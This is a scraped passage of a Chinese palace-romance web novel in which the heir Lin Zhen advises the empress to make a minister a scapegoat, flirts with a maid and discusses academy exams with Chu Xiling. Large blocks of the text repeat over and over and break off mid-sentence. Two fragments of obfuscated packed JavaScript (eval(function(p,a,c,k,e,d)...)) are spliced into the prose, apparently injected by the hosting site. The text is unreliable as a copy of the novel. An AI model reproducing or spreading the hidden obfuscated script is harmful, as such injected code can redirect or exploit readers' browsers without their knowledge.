“哼。”慕容嫣冷哼一声重新坐在凤椅上,那鼓鼓涨涨的胸脯不断起伏。 林臻一步一步走到凤台,也一屁股坐在凤椅上。 慕容嫣气得立刻推了他一把:“你干什么!起来!” “不让坐?那我走了。” 说完林臻就起来往外走。 这就是西格玛男人。 慕容嫣见他来真的,赶紧又在后面喊:“夫君!!” 林臻停下脚步,鹰视狼顾得回头看了她一眼:“现在知道叫夫君了?” “你别走” “这还差不多。”林臻砸吧砸吧嘴走回凤椅上,坐在她身边,伸出手很自然地将她搂进怀里,悠悠开口。 “有时候犯错误并不可怕,可怕的是,明知道是错误的,还一错再错。我相信你想做一名好皇帝,所以万事就不能一意孤行。刚才说杀大臣是气话,人肯定是不能杀的,否则朝堂人心就散了,我们找个替罪羊,许他利益,让他承担下这次事件的责任。等过几年再重新启用即可。” 慕容嫣没说话,双手反搂住林臻的脖子,把头埋进他颈间。 林臻感觉到自己皮肤被两个大凶器挤压着,很是受用。 又过了许久,月亮已经爬到头顶了,慕容嫣才从刚刚到情绪中缓过来,说道:“谁来当这个替罪羊?” “谁对你最忠心,就让谁当。比方说吏部尚书就挺不错,先抗下,等几年再提拔进御史台,也算高升。” “群臣会怎么看这件事情?” “这不重要。只要你这么做了,群臣自然会明白其中的深意。能在新时代干到朝堂里的大臣,没一个省油的灯,不需要你多操心。” “也是.”慕容嫣抬起头,深情的双眸望向林臻,在他嘴角吐气如兰的说道:“今天不走了吧?” “那就看你的表现了~”林臻玩味一笑。 慕容嫣撇撇嘴,对周围说道:“所有人都退下。” “遵旨。” 太监宫女本就如坐针毡,此刻见能走,都快步离开。 随即慕容嫣缓缓解开林臻胸前的扣子,一直解到裤子。 “这么长时间不回来,朕都馋了。” 两人不是第一次在凤椅上玩,但每次都有新感觉。 因为身体不方便所以没有去寝宫,结束之后林臻便抱着慕容嫣回到后堂,两人相拥而眠。 如果按24小时算,林臻一天之内不仅接受了闫菲闫苗的献身,还给婉儿治病,后来又安慰司马椿蕾,最后陪伴慕容嫣休息。 说实话,就算是有噬心蛊改造后的强劲身体,也未免有些吃不消。 所以这一觉林臻睡得特别香甜,第二天早上慕容嫣什么时候走的他都不知道,只知道自己睁开眼睛时,麝月正在收拾后堂,那窈窕的身体时而伸展,时而下蹲。 真是美景啊。 记得上次故意调戏她之后,她对林臻的态度就不同了,望向林臻的眼神中再也没有了抵触,只有来自未知少女的娇羞与腼腆。 “麝月,给我倒杯水来。” “世子醒了?奴婢这就去。”很快,麝月端着温度正好的白开水走过来,在林臻起床的时候还特意扶了他一把。 林臻边喝水,边看麝月那藏在宫裙里的美腿。 上次没看到,要不这次拨开裙子仔细瞧瞧? 。 良久,慕容嫣才说道:“那你说怎么办?” “找个大臣砍了,告知天下,报社中所说的女倌,女子为天下之师等等事情都是大臣一手操弄的。” “你可真狠心。” “不然呢?等着大乾被推翻?” “哼。”慕容嫣冷哼一声重新坐在凤椅上,那鼓鼓涨涨的胸脯不断起伏。 林臻一步一步走到凤台,也一屁股坐在凤椅上。 慕容嫣气得立刻推了他一把:“你干什么!起来!” “不让坐?那我走了。” 说完林臻就起来往外走。 这就是西格玛男人。 慕容嫣见他来真的,赶紧又在后面喊:“夫君!!” 林臻停下脚步,鹰视狼顾得回头看了她一眼:“现在知道叫夫君了?” “你别走” “这还差不多。”林臻砸吧砸吧嘴走回凤椅上,坐在她身边,伸出手很自然地将她搂进怀里,悠悠开口。 “有时候犯错误并不可怕,可怕的是,明知道是错误的,还一错再错。我相信你想做一名好皇帝,所以万事就不能一意孤行。刚才说杀大臣是气话,人肯定是不能杀的,否则朝堂人心就散了,我们找个替罪羊,许他利益,让他承担下这次事件的责任。等过几年再重新启用即可。” 慕容嫣没说话,双手反搂住林臻的脖子,把头埋进他颈间。 林臻感觉到自己皮肤被两个大凶器挤压着,很是受用。 又过了许久,月亮已经爬到头顶了,慕容嫣才从刚刚到情绪中缓过来,说道:“谁来当这个替罪羊?” “谁对你最忠心,就让谁当。比方说吏部尚书就挺不错,先抗下,等几年再提拔进御史台,也算高升。” “群臣会怎么看这件事情?” “这不重要。只要你这么做了,群臣自然会明白其中的深意。能在新时代干到朝堂里的大臣,没一个省油的灯,不需要你多操心。” “也是.”慕容嫣抬起头,深情的双眸望向林臻,在他嘴角吐气如兰的说道:“今天不走了吧?” “那就看你的表现了~”林臻玩味一笑。 慕容嫣撇撇嘴,对周围说道:“所有人都退下。” “遵旨。” 太监宫女本就如坐针毡,此刻见能走,都快步离开。 随即慕容嫣缓缓解开林臻胸前的扣子,一直解到裤子。 “这么长时间不回来,朕都馋了。” 两人不是第一次在凤椅上玩,但每次都有新感觉。 因为身体不方便所以没有去寝宫,结束之后林臻便抱着慕容嫣回到后堂,两人相拥而眠。 如果按24小时算,林臻一天之内不仅接受了闫菲闫苗的献身,还给婉儿治病,后来又安慰司马椿蕾,最后陪伴慕容嫣休息。 说实话,就算是有噬心蛊改造后的强劲身体,也未免有些吃不消。 所以这一觉林臻睡得特别香甜,第二天早上慕容嫣什么时候走的他都不知道,只知道自己睁开眼睛时,麝月正在收拾后堂,那窈窕的身体时而伸展,时而下蹲。 真是美景啊。 记得上次故意调戏她之后,她对林臻的态度就不同了,望向林臻的眼神中再也没有了抵触,只有来自未知少女的娇羞与腼腆。 “麝月,给我倒杯水来。” “世子醒了?奴婢这就去。”很快,麝月端着温度正好的白开水走过来,在林臻起床的时候还特意扶了他一把。 林臻边喝水,边看麝月那藏在宫裙里的美腿。 上次没看到,要不这次拨开裙子仔细瞧瞧? 。 良久,慕容嫣才说道:“那你说怎么办?” “找个大臣砍了,告知天下,报社中所说的女倌,女子为天下之师等等事情都是大臣一手操弄的。” “你可真狠心。” “不然呢?等着大乾被推翻?” “哼。”慕容嫣冷哼一声重新坐在凤椅上,那鼓鼓涨涨的胸脯不断起伏。 林臻一步一步走到凤台,也一屁股坐在凤椅上。 慕容嫣气得立刻推了他一把:“你干什么!起来!” “不让坐?那我走了。” 说完林臻就起来往外走。 这就是西格玛男人。 慕容嫣见他来真的,赶紧又在后面喊:“夫君!!” 林臻停下脚步,鹰视狼顾得回头看了她一眼:“现在知道叫夫君了?” “你别走” “这还差不多。”林臻砸吧砸吧嘴走回凤椅上,坐在她身边,伸出手很自然地将她搂进怀里,悠悠开口。 “有时候犯错误并不可怕,可怕的是,明知道是错误的,还一错再错。我相信你想做一名好皇帝,所以万事就不能一意孤行。刚才说杀大臣是气话,人肯定是不能杀的,否则朝堂人心就散了,我们找个替罪羊,许他利益,让他承担下这次事件的责任。等过几年再重新启用即可。” 慕容嫣没说话,双手反搂住林臻的脖子,把头埋进他颈间。 林臻感觉到自己皮肤被两个大凶器挤压着,很是受用。 又过了许久,月亮已经爬到头顶了,慕容嫣才从刚刚到情绪中缓过来,说道:“谁来当这个替罪羊?” “谁对你最忠心,就让谁当。比方说吏部尚书就挺不错,先抗下,等几年再提拔进御史台,也算高升。” “群臣会怎么看这件事情?” “这不重要。只要你这么做了,群臣自然会明白其中的深意。能在新时代干到朝堂里的大臣,没一个省油的灯,不需要你多操心。” “也是.”慕容嫣抬起头,深情的双眸望向林臻,在他嘴角吐气如兰的说道:“今天不走了吧?” “那就看你的表现了~”林臻玩味一笑。 慕容嫣撇撇嘴,对周围说道:“所有人都退下。” “遵旨。” 太监宫女本就如坐针毡,此刻见能走,都快步离开。 随即慕容嫣缓缓解开林臻胸前的扣子,一直解到裤子。 “这么长时间不回来,朕都馋了。” 两人不是第一次在凤椅上玩,但每次都有新感觉。 因为身体不方便所以没有去寝宫,结束之后林臻便抱着慕容嫣回到后堂,两人相拥而眠。 如果按24小时算,林臻一天之内不仅接受了闫菲闫苗的献身,还给婉儿治病,后来又安慰司马椿蕾,最后陪伴慕容嫣休息。 说实话,就算是有噬心蛊改造后的强劲身体,也未免有些吃不消。 所以这一觉林臻睡得特别香甜,第二天早上慕容嫣什么时候走的他都不知道,只知道自己睁开眼睛时,麝月正在收拾后堂,那窈窕的身体时而伸展,时而下蹲。 真是美景啊。 记得上次故意调戏她之后,她对林臻的态度就不同了,望向林臻的眼神中再也没有了抵触,只有来自未知少女的娇羞与腼腆。 “麝月,给我倒杯水来。” “世子醒了?奴婢这就去。”很快,麝月端着温度正好的白开水走过来,在林臻起床的时候还特意扶了他一把。 林臻边喝水,边看麝月那藏在宫裙里的美腿。 上次没看到,要不这次拨开裙子仔细瞧瞧? 。 良久,慕容嫣才说道:“那你说怎么办?” “找个大臣砍了,告知天下,报社中所说的女倌,女子为天下之师等等事情都是大臣一手操弄的。” “你可真狠心。” “不然呢?等着大乾被推翻?” “哼。”慕容嫣冷哼一声重新坐在凤椅上,那鼓鼓涨涨的胸脯不断起伏。 林臻一步一步走到凤台,也一屁股坐在凤椅上。 慕容嫣气得立刻推了他一把:“你干什么!起来!” “不让坐?那我走了。” 说完林臻就起来往外走。 这就是西格玛男人。 慕容嫣见他来真的,赶紧又在后面喊:“夫君!!” 林臻停下脚步,鹰视狼顾得回头看了她一眼:“现在知道叫夫君了?” “你别走” “这还差不多。”林臻砸吧砸吧嘴走回凤椅上,坐在她身边,伸出手很自然地将她搂进怀里,悠悠开口。 “有时候犯错误并不可怕,可怕的是,明知道是错误的,还一错再错。我相信你想做一名好皇帝,所以万事就不能一意孤行。刚才说杀大臣是气话,人肯定是不能杀的,否则朝堂人心就散了,我们找个替罪羊,许他利益,让他承担下这次事件的责任。等过几年再重新启用即可。” 慕容嫣没说话,双手反搂住林臻的脖子,把头埋进他颈间。 林臻感觉到自己皮肤被两个大凶器挤压着,很是受用。 又过了许久,月亮已经爬到头顶了,慕容嫣才从刚刚到情绪中缓过来,说道:“谁来当这个替罪羊?” “谁对你最忠心,就让谁当。比方说吏部尚书就挺不错,先抗下,等几年再提拔进御史台,也算高升。” “群臣会怎么看这件事情?” “这不重要。只要你这么做了,群臣自然会明白其中的深意。能在新时代干到朝堂里的大臣,没一个省油的灯,不需要你多操心。” “也是.”慕容嫣抬起头,深情的双眸望向林臻,在他嘴角吐气如兰的说道:“今天不走了吧?” “那就看你的表现了~”林臻玩味一笑。 慕容嫣撇撇嘴,对周围说道:“所有人都退下。” “遵旨。” 太监宫女本就如坐针毡,此刻见能走,都快步离开。 随即慕容嫣缓缓解开林臻胸前的扣子,一直解到裤子。 “这么长时间不回来,朕都馋了。” 两人不是第一次在凤椅上玩,但每次都有新感觉。 因为身体不方便所以没有去寝宫,结束之后林臻便抱着慕容嫣回到后堂,两人相拥而眠。 如果按24小时算,林臻一天之内不仅接受了闫菲闫苗的献身,还给婉儿治病,后来又安慰司马椿蕾,最后陪伴慕容嫣休息。 说实话,就算是有噬心蛊改造后的强劲身体,也未免有些吃不消。 所以这一觉林臻睡得特别香甜,第二天早上慕容嫣什么时候走的他都不知道,只知道自己睁开眼睛时,麝月正在收拾后堂,那窈窕的身体时而伸展,时而下蹲。 真是美景啊。 记得上次故意调戏她之后,她对林臻的态度就不同了,望向林臻的眼神中再也没有了抵触,只有来自未知少女的娇羞与腼腆。 “麝月,给我倒杯水来。” “世子醒了?奴婢这就去。”很快,麝月端着温度正好的白开水走过来,在林臻起床的时候还特意扶了他一把。 林臻边喝水,边看麝月那藏在宫裙里的美腿。 上次没看到,要不这次拨开裙子仔细瞧瞧? 。 良久,慕容嫣才说道:“那你说怎么办?” “找个大臣砍了,告知天下,报社中所说的女倌,女子为天下之师等等事情都是大臣一手操弄的。” “你可真狠心。” “不然呢?等着大乾被推翻?” “哼。”慕容嫣冷哼一声重新坐在凤椅上,那鼓鼓涨涨的胸脯不断起伏。 林臻一步一步走到凤台,也一屁股坐在凤椅上。 慕容嫣气得立刻推了他一把:“你干什么!起来!” “不让坐?那我走了。” 说完林臻就起来往外走。 这就是西格玛男人。 慕容嫣见他来真的,赶紧又在后面喊:“夫君!!” 林臻停下脚步,鹰视狼顾得回头看了她一眼:“现在知道叫夫君了?” “你别走” “这还差不多。”林臻砸吧砸吧嘴走回凤椅上,坐在她身边,伸出手很自然地将她搂进怀里,悠悠开口。 “有时候犯错误并不可怕,可怕的是,明知道是错误的,还一错再错。我相信你想做一名好皇帝,所以万事就不能一意孤行。刚才说杀大臣是气话,人肯定是不能杀的,否则朝堂人心就散了,我们找个替罪羊,许他利益,让他承担下这次事件的责任。等过几年再重新启用即可。” 慕容嫣没说话,双手反搂住林臻的脖子,把头埋进他颈间。 林臻感觉到自己皮肤被两个大凶器挤压着,很是受用。 又过了许久,月亮已经爬到头顶了,慕容嫣才从刚刚到情绪中缓过来,说道:“谁来当这个替罪羊?” “谁对你最忠心,就让谁当。比方说吏部尚书就挺不错,先抗下,等几年再提拔进御史台,也算高升。” “群臣会怎么看这件事情?” “这不重要。只要你这么做了,群臣自然会明白其中的深意。能在新时代干到朝堂里的大臣,没一个省油的灯,不需要你多操心。” “也是.”慕容嫣抬起头,深情的双眸望向林臻,在他嘴角吐气如兰的说道:“今天不走了吧?” “那就看你的表现了~”林臻玩味一笑。 慕容嫣撇撇嘴,对周围说道:“所有人都退下。” “遵旨。” 太监宫女本就如坐针毡,此刻见能走,都快步离开。 随即慕容嫣缓缓解开林臻胸前的扣子,一直解到裤子。 “这么长时间不回来,朕都馋了。” 两人不是第一次在凤椅上玩,但每次都有新感觉。 因为身体不方便所以没有去寝宫,结束之后林臻便抱着慕容嫣回到后堂,两人相拥而眠。 如果按24小时算,林臻一天之内不仅接受了闫菲闫苗的献身,还给婉儿治病,后来又安慰司马椿蕾,最后陪伴慕容嫣休息。 说实话,就算是有噬心蛊改造后的强劲身体,也未免有些吃不消。 所以这一觉林臻睡得特别香甜,第二天早上慕容嫣什么时候走的他都不知道,只知道自己睁开眼睛时,麝月正在收拾后堂,那窈窕的身体时而伸展,时而下蹲。 真是美景啊。 记得上次故意调戏她之后,她对林臻的态度就不同了,望向林臻的眼神中再也没有了抵触,只有来自未知少女的娇羞与腼腆。 “麝月,给我倒杯水来。” “世子醒了?奴婢这就去。”很快,麝月端着温度正好的白开水走过来,在林臻起床的时候还特意扶了他一把。 林臻边喝水,边看麝月那藏在宫裙里的美腿。 上次没看到,要不这次拨开裙子仔细瞧瞧? 。 良久,慕容嫣才说道:“那你说怎么办?” “找个大臣砍了,告知天下,报社中所说的女倌,女子为天下之师等等事情都是大臣一手操弄的。” “你可真狠心。” “不然呢?等着大乾被推翻?” “哼。”慕容嫣冷哼一声重新坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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太监宫女本就如坐针毡,此刻见能走,都快步离开。 随即慕容嫣缓缓解开林臻胸前的扣子,一直解到裤子。 “这么长时间不回来,朕都馋了。” 两人不是第一次在凤椅上玩,但每次都有新感觉。 因为身体不方便所以没有去寝宫,结束之后林臻便抱着慕容嫣回到后堂,两人相拥而眠。 如果按24小时算,林臻一天之内不仅接受了闫菲闫苗的献身,还给婉儿治病,后来又安慰司马椿蕾,最后陪伴慕容嫣休息。 说实话,就算是有噬心蛊改造后的强劲身体,也未免有些吃不消。 所以这一觉林臻睡得特别香甜,第二天早上慕容嫣什么时候走的他都不知道,只知道自己睁开眼睛时,麝月正在收拾后堂,那窈窕的身体时而伸展,时而下蹲。 真是美景啊。 记得上次故意调戏她之后,她对林臻的态度就不同了,望向林臻的眼神中再也没有了抵触,只有来自未知少女的娇羞与腼腆。 “麝月,给我倒杯水来。” “世子醒了?奴婢这就去。”很快,麝月端着温度正好的白开水走过来,在林臻起床的时候还特意扶了他一把。 林臻边喝水,边看麝月那藏在宫裙里的美腿。 上次没看到,要不这次拨开裙子仔细瞧瞧? 。 良久,慕容嫣才说道:“那你说怎么办?” “找个大臣砍了,告知天下,报社中所说的女倌,女子为天下之师等等事情都是大臣一手操弄的。” “你可真狠心。” “不然呢?等着大乾被推翻?” “哼。”慕容嫣冷哼一声重新坐在凤椅上,那鼓鼓涨涨的胸脯不断起伏。 林臻一步一步走到凤台,也一屁股坐在凤椅上。 慕容嫣气得立刻推了他一把:“你干什么!起来!” “不让坐?那我走了。” 说完林臻就起来往外走。 这就是西格玛男人。 慕容嫣见他来真的,赶紧又在后面喊:“夫君!!” 林臻停下脚步,鹰视狼顾得回头看了她一眼:“现在知道叫夫君了?” “你别走” “这还差不多。”林臻砸吧砸吧嘴走回凤椅上,坐在她身边,伸出手很自然地将她搂进怀里,悠悠开口。 “有时候犯错误并不可怕,可怕的是,明知道是错误的,还一错再错。我相信你想做一名好皇帝,所以万事就不能一意孤行。刚才说杀大臣是气话,人肯定是不能杀的,否则朝堂人心就散了,我们找个替罪羊,许他利益,让他承担下这次事件的责任。等过几年再重新启用即可。” 慕容嫣没说话,双手反搂住林臻的脖子,把头埋进他颈间。 林臻感觉到自己皮肤被两个大凶器挤压着,很是受用。 又过了许久,月亮已经爬到头顶了,慕容嫣才从刚刚到情绪中缓过来,说道:“谁来当这个替罪羊?” “谁对你最忠心,就让谁当。比方说吏部尚书就挺不错,先抗下,等几年再提拔进御史台,也算高升。” “群臣会怎么看这件事情?” “这不重要。只要你这么做了,群臣自然会明白其中的深意。能在新时代干到朝堂里的大臣,没一个省油的灯,不需要你多操心。” “也是.”慕容嫣抬起头,深情的双眸望向林臻,在他嘴角吐气如兰的说道:“今天不走了吧?” “那就看你的表现了~”林臻玩味一笑。 慕容嫣撇撇嘴,对周围说道:“所有人都退下。” “遵旨。” 太监宫女本就如坐针毡,此刻见能走,都快步离开。 随即慕容嫣缓缓解开林臻胸前的扣子,一直解到裤子。 “这么长时间不回来,朕都馋了。” 两人不是第一次在凤椅上玩,但每次都有新感觉。 因为身体不方便所以没有去寝宫,结束之后林臻便抱着慕容嫣回到后堂,两人相拥而眠。 如果按24小时算,林臻一天之内不仅接受了闫菲闫苗的献身,还给婉儿治病,后来又安慰司马椿蕾,最后陪伴慕容嫣休息。 说实话,就算是有噬心蛊改造后的强劲身体,也未免有些吃不消。 所以这一觉林臻睡得特别香甜,第二天早上慕容嫣什么时候走的他都不知道,只知道自己睁开眼睛时,麝月正在收拾后堂,那窈窕的身体时而伸展,时而下蹲。 真是美景啊。 记得上次故意调戏她之后,她对林臻的态度就不同了,望向林臻的眼神中再也没有了抵触,只有来自未知少女的娇羞与腼腆。 “麝月,给我倒杯水来。” “世子醒了?奴婢这就去。”很快,麝月端着温度正好的白开水走过来,在林臻起床的时候还特意扶了他一把。 林臻边喝水,边看麝月那藏在宫裙里的美腿。 上次没看到,要不这次拨开裙子仔细瞧瞧? 。 良久,慕容嫣才说道:“那你说怎么办?” “找个大臣砍了,告知天下,报社中所说的女倌,女子为天下之师等等事情都是大臣一手操弄的。” “你可真狠心。” “不然呢?等着大乾被推翻?” “哼。”慕容嫣冷哼一声重新坐在凤椅上,那鼓鼓涨涨的胸脯不断起伏。 林臻一步一步走到凤台,也一屁股坐在凤椅上。 慕容嫣气得立刻推了他一把:“你干什么!起来!” “不让坐?那我走了。” 说完林臻就起来往外走。 这就是西格玛男人。 慕容嫣见他来真的,赶紧又在后面喊:“夫君!!” 林臻停下脚步,鹰视狼顾得回头看了她一眼:“现在知道叫夫君了?” “你别走” “这还差不多。”林臻砸吧砸吧嘴走回凤椅上,坐在她身边,伸出手很自然地将她搂进怀里,悠悠开口。 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大的摸了一宿也得照顾照顾小的再说灵儿现在可是为了世界**天天努力呢。 林臻斜倚在雕花木榻上 他修长的手指无意识摩挲着床柱上精美的蟠龙纹脑海里走马灯似的闪过各种奇怪的念头。 “麝月过来给我穿衣服。” 他懒洋洋地扯开嗓子尾音拖得绵长带着几分漫不经心的勾人意味。 声音在空荡荡的寝殿里回荡惊起梁间栖息的两只燕雀扑棱棱振翅飞向窗外。 雕花门外很快传来细碎的脚步声像是春蚕食叶般小心翼翼。 不过片刻麝月便提着粉白色裙摆跨进门槛发间的银步摇随着动作轻晃发出细碎的声响。 少女脸颊泛着薄红宛如偷饮了桃花酿低垂的眉眼像受惊的小鹿怯生生地不敢与榻上的人对视。 她莲步轻移垂眸从檀木衣柜里取出叠得齐整的月白锦袍指尖微微发颤将衣物轻放在床边而后双膝跪地裙裾在青砖上铺开。 林臻勾唇一笑故意将长腿往前伸了伸绣着金线云纹的皂靴停在麝月眼前。 麝月睫毛轻颤如蝶翼伸手握住靴筒动作轻柔地替他套上又细致地将靴带系好。 起身时她不经意间对上林臻似笑非笑的目光心口猛地一跳慌乱中脚下踉跄险些跌坐在地。 林臻瞧着她手忙脚乱的模样眼底笑意更甚。 往日里他总要逗弄这丫头一番可今日偏生按捺着就这么看着麝月在期待与忐忑间来回煎熬。 见她将最后一件外袍披在自己肩头林臻忽然叹了口气:“还是麝月最乖。” 这话让麝月身子一僵满心欢喜又夹杂着不安。 她咬着唇替林臻整理衣领余光瞥见他胸前若隐若现的锁骨脸腾地烧起来耳尖红得像是要滴血。 正出神时腰间突然一紧整个人跌进温热的怀抱。 林臻温热的呼吸喷洒在她耳畔声音低沉带着蛊惑:“麝月啊本世子见你弯腰的时候领口大开里面鼓鼓囊塞的似乎藏着对陛下不利的凶器过来让本世子好好检查一下。” “啊!不要呀!!”麝月尖叫一声双手死死攥住领口像只受惊的兔子般从他怀里挣脱。 她转身时裙摆扫过满地光影慌乱间带翻了桌上的青瓷茶盏“啪嗒”一声脆响茶水在青砖上蜿蜒成溪。 她也顾不上收拾跌跌撞撞地跑远了只留下林臻望着她落荒而逃的背影笑得前俯后仰。 麝月跌跌撞撞跑出寝殿躲在转角处的朱漆廊柱后胸口剧烈起伏。 她伸手按住发烫的脸颊指腹触到耳垂上的薄汗想起林臻温热的呼吸扫过耳畔时的触感指尖不自觉地绞紧了帕子。 殿内传来瓷器碎片清扫的声响她才惊觉自己慌乱中打翻了茶盏咬了咬唇终究还是提着裙摆往回走。 推开门时林臻竟然亲自弯腰收拾地上的碎片月白锦袍的袖口沾了些茶水在衣料上映出深痕。 麝月心头一紧忙不迭跪下接过他手中的扫帚:“世子爷放着让奴婢来!” 指尖触到他掌心的薄茧像是被琴弦划过般倏地缩回手。 林臻见状轻笑故意将碎瓷片往她笸箩里拨弄:“原来麝月不仅会躲还会心疼人啊?” 这话让少女本就通红的脸颊更添三分颜色她低头盯着青砖缝里的蚂蚁声如蚊呐:“世子爷折煞奴婢了.奴婢奴婢会干活的。” 嘴上这么说心里却把外面那几个站岗的宫女骂了个遍。 她们听到动静也不知道进来帮忙居然让世子亲自动手回头陛下看见有你们好果子吃! 收拾妥当后林臻拍了拍她发顶惹得麝月像被踩了尾巴的小兽般蹦起来。 他大笑着转身离去 准许出兵北燕的圣旨林臻让侯春直接送回王府交给林震仙。 他自己则是来到当初的顾府。 书院早已经正式挂牌但还没有招生不过已经有许多富商偷偷给林臻递了话说只要能让家里孩子进书院花多少钱都成。 还有些官员也表示自己需要进修孩子需要上学但家里没钱希望林臻可以通融通融。 这可不行这间书院林臻准备倾注很大的心血万万不可什么学生都招。 这件事情还得和楚惜灵好好商量一下。 可谁知道林臻上午过来的时候就已经从一间别院里听到了楚惜灵讲课的声音。 这什么时候招的学生? 林臻有些好奇猫着腰凑到窗边食指轻轻戳破窗纸眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林臻晃悠着走近,伸手勾住她发间的白玉簪:“我不过是被楚先生的风采迷了眼。没想到灵儿当起老师来倒有模有样。” 他凑近,温热的气息拂过她泛红的耳垂:“不知先生可有空,教教本世子?” 第481章 瞧你那穷酸样! 腊月的阳光裹着薄雪,将窗棂的影子碎成银箔,落在楚惜灵月白色的裙裾上。 她双手掐着腰,对着扒在窗台上的林臻翻了个白眼:“你少给我装!黄鼠狼给鸡拜年,说吧,今天来干什么?” 发间的珊瑚簪随着动作轻晃,扫落几星落在发梢的雪花,簪头雕刻的并蒂莲在冷光里泛着温润的光泽。 林臻笑着翻身跳上最近的课桌,木椅在他身下发出“嘎吱”一声,袍角拂过结着冰花的窗纸:“我就不能是想你了吗?” 他晃着双腿:“刚才在宫里办事耽搁了些时间,来的路上看见西街的腊梅开了,想着你最爱拿梅枝教孩子们画几何图形,于是顺手给你摘了几根。” 楚惜灵撇嘴,指尖敲了敲他晃荡的脚尖,绣着缠枝莲的棉鞋边沿还沾着未化的雪粒。 “你去宫里办事?莫不是办陛下去了吧?” “额”林臻摸了摸鼻子,“那都是后续操作,主要还是办事。” “且,那你还说想我。”话虽这么说,楚惜灵却还是从袖中掏出个小暖炉,递给他焐手。 忽然见到他怀里鼓鼓的,问道:“你怀里揣的什么?” “顺天府的新考纲。” 林臻接住暖炉,忽然正色,从怀里掏出卷冻得发硬的宣纸,骂道:“奶奶的,离春试还有一个月,礼部把算学题砍成半幅豆腐块,河工预算非得按《九章算术》旧制来算,连数字都得用筹算写法。” 他展开图纸,上面用朱砂标着被圈改的试题范围,边缘还结着细小的冰晶,“我估摸着是这群老东西怕学生用新法算得太明白,断了他们的糊涂账。” 楚惜灵凑过来,鼻尖嗅到他身上混着的沉水香与雪水味,棉袍上还沾着衙门口的铜锁寒气。 “这也是没办法的事情,大乾发展得过快,很多历史遗留问题还没有彻底解决,就像曾经那些坑害朝廷的官员。” “解决自然是要解决的,所以我打算趁春试的机会,将这些所谓的大儒全部拿下。”林臻最讨厌的就是明面上为人师表,背地里肮脏龌龊的家伙。 这简直是学生的灾难。 他抬眼问道:“灵儿,书院你打算怎么招生?” “我打算让考生着重于算学,至于那些圣贤书还是算了吧。百无一用是书生,读再多的圣贤书也帮不上国家的忙。” “那你打算考什么?” “基础数学呗,就像你那个时代的小学生。在答卷上画双栏格,左栏写筹算步骤,右栏用阿拉伯数字标结果。” 她指尖划过纸上的“三加二”例题,墨字在冻硬的宣纸上显得格外清晰。 林臻笑着看向一边。 虽然他数学并不优秀,但这种幼儿园都会算的数学题未免也太简单了。 咱这是书院,不能用幼儿园的标准来招生。 “不合适,太简单了。现在的人也都会算术,不如出几道方程题让他们解,数最好大一点,他们没有算盘,太大的数字根本不是心算能算出来的。” “也行。”楚惜灵点点头,“那我再琢磨琢磨。不过你真打算给礼部机会?” “当然不会,就算通过最终殿试的考生,也必须得在基层磨炼几年,尤其是偏僻的地区,让他们去当县令,县丞,好好看看到底什么是百姓,什么是社稷。否则一旦通过考试就给个很高的官职,会误入歧途的。” “是是是,我们家世子最忧国忧民了~”楚惜灵见林臻一副老气横秋的样子就来气,于是阴阳两句,说道,“走吧,我们很久都没逛街了,陪我出去看看。” “走!”林臻一声断喝,拉着楚惜灵就往外面走。 楚惜灵被他拽得踉跄,腕间银镯撞在他腰间的算术挂件上发出清响。 谁知院子里正有一群孩子在看《算学启蒙》,见两人手拉手出来,廊下立刻传来此起彼伏的“哎呦”声。 几个扎羊角辫的小丫头正捂着眼睛往假山后躲,发间的红绒花在白雪映衬下格外鲜艳,却从指缝里偷偷张望。 “怕什么?没见过夫妻拉手啊?”林臻扬了扬两人交握的手,惹得孩子们爆发出一阵轻笑。 有个胆大的男孩喊:“先生牵着手,像算筹配算盘!” 楚惜灵耳尖发烫,却也没挣脱,任他牵着穿过落满雪的长廊,垂落的冰棱拂过袖口,像一串透明的小铃铛。 西街的青石板路结着薄冰,马车驶过留下深浅不一的车辙,车夫的皮鞭声在冷空气中格外清脆。 街边的商铺挂着棉帘,暖酒的香气混着炭火气扑面而来。 楚惜灵忽然停步,望着街角被雪覆盖的糖葫芦摊,竹靶上插着的糖串结着晶亮的糖霜,在阳光下像串起的小冰棱。 “夫君!我要吃糖葫芦!” 她指着竹靶,睫毛上还沾着飘落的雪花,眼睛亮晶晶地像浸了蜜。 “而且我要那串最大的,山楂上糖衣最厚的那个!!” 林臻摸了摸袖兜,尴尬地咳嗽两声,棉袍下的里衣还带着衙门的寒气:“灵儿,为夫我可是从来不带钱的.” “瞧你那穷酸样!”说完楚惜灵从荷包里掏出两枚铜板,走过去。 “老板,来个糖葫芦!” 说完楚惜灵把钱递过去。 那老板刚要接,就看到林臻也站在自己摊位前面。 他慌忙摆手,粗糙的手掌在灰布围裙上擦了又擦,鼻尖冻得通红,小跑着来到林臻面前,噗通一声就跪了下去。 “世子折煞小人了!小人能有今天的好生活可多亏了您,一串糖葫芦而已,小人不能收您的钱。” 林臻见他真心,于是笑道:“快起来,地上凉。做生意哪有白送的道理?” “世子爷光顾,是咱摊子的福气,哪能收钱啊?小人若收了您的钱,回去非被街坊邻居们骂死不可!这钱万万不能收!” “叫你拿着就拿着,本世子不许任何人白拿老百姓的东西,自己更不能破例。” 小贩站起来有些不知所措。 楚惜灵把两枚铜板放在小桌上,自己伸手摘下来那颗最大的糖葫芦,放进嘴里,吃得香甜。 她指尖划过纸上的“三加二”例题,墨字在冻硬的宣纸上显得格外清晰。 林臻笑着看向一边。 虽然他数学并不优秀,但这种幼儿园都会算的数学题未免也太简单了。 咱这是书院,不能用幼儿园的标准来招生。 “不合适,太简单了。现在的人也都会算术,不如出几道方程题让他们解,数最好大一点,他们没有算盘,太大的数字根本不是心算能算出来的。” “也行。”楚惜灵点点头,“那我再琢磨琢磨。不过你真打算给礼部机会?” “当然不会,就算通过最终殿试的考生,也必须得在基层磨炼几年,尤其是偏僻的地区,让他们去当县令,县丞,好好看看到底什么是百姓,什么是社稷。否则一旦通过考试就给个很高的官职,会误入歧途的。” 